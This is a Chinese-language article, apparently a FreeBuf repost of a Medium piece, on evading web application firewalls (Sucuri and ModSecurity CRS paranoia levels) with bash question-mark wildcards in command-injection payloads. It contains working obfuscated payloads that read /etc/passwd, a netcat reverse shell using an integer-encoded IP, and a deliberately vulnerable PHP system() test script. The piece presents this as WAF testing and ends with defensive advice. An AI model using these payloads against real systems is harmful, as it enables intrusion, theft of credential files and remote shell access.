Web應用程序防火牆(WAF)bypass技術討論(一)
Web應用程序中發現RCE漏洞的情況還是挺常見的,2017 OWASP Top 10應用程序安全風險」也將「注入」置於第一位置,例如當解釋器接收到用戶可控的數據作為命令或查詢來執行時,很有可能會導致注入風險,例如SQL,NoSQL,OS和LDAP注入。
攻擊者的惡意數據可以欺騙解釋器在沒有授權的情況下執行非預期的命令或訪問敏感數據。
所有現代Web應用程序防火牆都能夠攔截(甚至阻止)RCE,但是當發生在Linux系統時,我們也有很多方法可以bypass WAF的規則集。
使用到的方法就有「
通配符
」,所以接下來會講解一些bash與通配符的事情。
通配符的一些知識
各種命令行程序會使用bash標準通配符(也稱為通配模式)來處理多個文件。
如果讀者想知道有關標準通配符的更多信息,可通過鍵入參考手冊頁man 7 glob來了解。並不是人人都知道有很多bash語法能夠只使用問號「?」,正斜杠「/」,數字和字母來執行系統命令,且可以使用相同數量的字元枚舉文件並獲取其內容。
我舉幾個例子,例如執行ls命令,可以使用以下語法:/???/?s
使用上面這種語法,你想執行啥基本上都可以執行。比方說,你攻擊的目標處於WAF的保護下,但是這個WAF有一個規則,一旦GET參數的值內或POST請求的body里包含/etc/passwd或/bin/ls,所有的請求都會被阻止。
如果你試圖請求
/?cmd=cat+/etc/passwd
,那麼它會被目標WAF阻止,你的IP將被永久禁止訪問並被標記。如果目標WAF沒有足夠的規則集來阻止像?和/在查詢字元串中,那麼就能使用通配符來進行繞過。繞過的payload如下所示:/?cmd=%2f???%2f??t%20%2f???%2fp??s??
在上面的屏幕截圖中可以看到有3個錯誤「/bin/cat *:是一個目錄 」。
發生這種情況是因為/???/??t可以匹配到到/bin/cat、/dev/net或者/etc/apt等等……
問號通配符僅代表一個可以是任何字元的字元。因此,如果知道文件名的一部分而不是一個字母,那麼可以使用此通配符。例如ls *.???,列出當前目錄中擴展名為3個字元的所有文件,將列出具有:gif,.jpg,.txt等擴展名的文件。
使用此通配符,可以使用netcat來執行反彈shell。假設需要在埠1337(通常
nc -e /bin/bash 127.0.0.1 1337
)執行反彈shell到127.0.0.1,可以使用以下語法執行此操作:/???/n? -e /???/b??h 2130706433 1337
以整數形式(2130706433)轉換IP地址127.0.0.1,可以避免在HTTP請求中使用「點」字元。
因為沒有-e參數,所以在我的kali里需要使用nc.traditional而不是nc,以便/bin/bash在連接後執行,payload如下:
/???/?c.??????????? -e /???/b??h 2130706433 1337
接下來,對比一下以上的命令:
標準:
/bin/nc 127.0.0.1 1337
bypass:
/???/n? 2130706433 1337
用到的字元:
/ ? n [0-9]
標準:
/bin/cat /etc/passwd
bypass:
/???/??t /???/??ss??
用到的字元:
/ ? t s
為什麼用?而不是呢?因為星號()被廣泛用於注釋語法(類似/ 嘿,我是注釋 /),許多WAF阻止它以避免SQL注入…類似於UNION+SELECT+1,2,3/ *
還可以使用echo來枚舉文件和目錄,echo命令可以使用通配符枚舉文件系統上的文件和目錄。例如echo //ss*:
這可以在RCE上使用,以便在目標系統上獲取文件和目錄,例如:
但是為什麼使用通配符(特別是問號)可以逃避WAF規則集?讓我先從Sucuri WAF開始解釋。
Sucuri WAF bypass
測試WAF規則集的最佳方法是什麼?創建世界上最易受攻擊的PHP腳本並嘗試所有可能的技術!
在上面的屏幕截圖中,左上方的窗格中有一個執行命令的PHP腳本。
<?php echo "ok: "; print_r($_GET["c"]); system($_GET["c"]);
右側窗格是最有趣的,因為它顯示相同的請求,但使用「問號」作為通配符。結果令人恐懼……Sucuri WAF接受了請求,我的應用程序執行了我輸入c參數的命令。現在我可以讀取/etc/passwd文件甚至更多…
我可以閱讀應用程序本身的PHP源代碼,我可以使用netcat(或者我喜歡稱之為/???/?c)來執行反彈shell ,或者我可以執行類似curl或wget的程序顯示Web伺服器的真實IP地址,使我能夠通過直接連接到目標來繞過WAF。
我不知道為啥會發生這種情況,我以為我在Sucuri WAF配置上遺漏了一些東西,但似乎又沒有……我已經在Sucuri問過這是否是一種有人參與的行為,以及他們是否配置了默認的「低等級」以避免誤報,但目前我還在等待答案。
請記住,我正在使用一個不代表真實場景的愚蠢PHP腳本進行此測試。恕我直言,你不應該根據它阻止的請求判斷一個WAF是否強大,而且Sucuri的安全性並不低,因為WAF也無法完全保護一個故意讓它易受攻擊的網站。
上面成功繞過了waf,現在來測試一下ModSecurity OWASP CRS 3.0。
相關等級配置如下:
# -=[ Targets and ASCII Ranges ]=-## 920270: PL1# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES# ASCII: 1-255# Example: Full ASCII range without null character## 920271: PL2# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES# ASCII: 9,10,13,32-126,128-255# Example: Full visible ASCII range, tab, newline## 920272: PL3# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY# ASCII: 32-36,38-126# Example: Visible lower ASCII range without percent symbol## 920273: PL4# ARGS, ARGS_NAMES and REQUEST_BODY# ASCII: 38,44-46,48-58,61,65-90,95,97-122# Example: A-Z a-z 0-9 = - _ . , : &## 920274: PL4# REQUEST_HEADERS without User-Agent, Referer, Cookie# ASCII: 32,34,38,42-59,61,65-90,95,97-122# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE
以下是WAF的規則解釋:
https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/e4e0497be4d598cce0e0a8fef20d1f1e5578c8d0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf
接下來開始測試這個WAF!
Paranoia Level 0 (PL0)
等級0表示禁用了許多規則,因此我們的payload可以毫無問題地導致遠程命令執行,這是絕對正常的,不要驚慌。
SecAction "id:999,phase:1,
olog,pass, :none,setvar:tx.paranoia_level=0"
ModSecurity中的等級1意味著規則更嚴格,雖然消除了誤報,但它也過於寬鬆。
可以在netnea網站上找到按等級分組的規則列表:https://www.netnea.com/cms/core-rule-set-inventory/
Paranoia Level 1 and 2 (PL1, PL2)
我已將1級和2級分組,因為它們的差異(如上圖所示)不會影響我們的目標,所有行為都與下面描述的相同。
SecAction "id:999,phase:1,
olog,pass, :none,setvar:tx.paranoia_level=1"
使用PL1和PL2 ModSecurity顯然阻止了我對「OS File Access Attempt」的請求(930120)。但是,如果我將問號用作通配符怎麼辦?該請求卻被我的WAF接受了。
發生這種情況是因為「問號」,「正斜杠」和「空格」都在規則920271和920272的字元範圍內。此外,使用「問號」而不是命令語法使我能夠bypass 「OS File Access Attempt」,例如我們的/etc/passwd。
Paranoia Level 3 (PL3)
這個等級會阻止包含「?」等字元超過n次的請求,所以事實上,我的請求已被標記為「Meta-Character Anomaly Detection Alert?—?Repetitive Non-Word Characters」。
ModSecurity還是挺強的,但是很不幸,我寫的web應用很脆弱,我可以使用較少的問號並使用以下語法讀取passwd文件。
c=/?in/cat+/et?/passw?
可以看到只使用了3個問號就可以繞過WAF並讀取文件了,其實不能說等級3就不行,這裡使用的是測試環境,實際真實場景並不一定能繞過。
那麼能繞過等級4嗎?
Paranoia Level 4 (PL4)
經過我的測試發現基本上沒有辦法繞過,範圍之外的所有字元a-z A-Z 0–9都被阻止了!沒辦法……當你需要執行一個命令來讀取文件時,有90%的概率會需要一個「空格」字元或「正斜杠」。
最後的想法
回歸靜態HTML頁面……這是提高Web應用程序安全性的最快方法!很難說配置最好的WAF或者只使用最好的等級規則有沒有用?但是我們能了解到的是不應該完全信任部署在Web應用程序上均勻分布的WAF規則集。事實上,我們應該根據應用程序功能配置我們的WAF規則。無論如何,當你在ModSecurity上寫一個新的SecRule時,請記住,可能有很多方法可以bypass你的過濾器/正則表達式。
*來源:medium;本文作者:生如夏花,轉載請註明來自FreeBuf.COM
※通過讀取ASP.NET應用泄露的secrets獲得bug賞金17000美刀
※Oculus CDN伺服器的XSS漏洞
TAG:FreeBuf |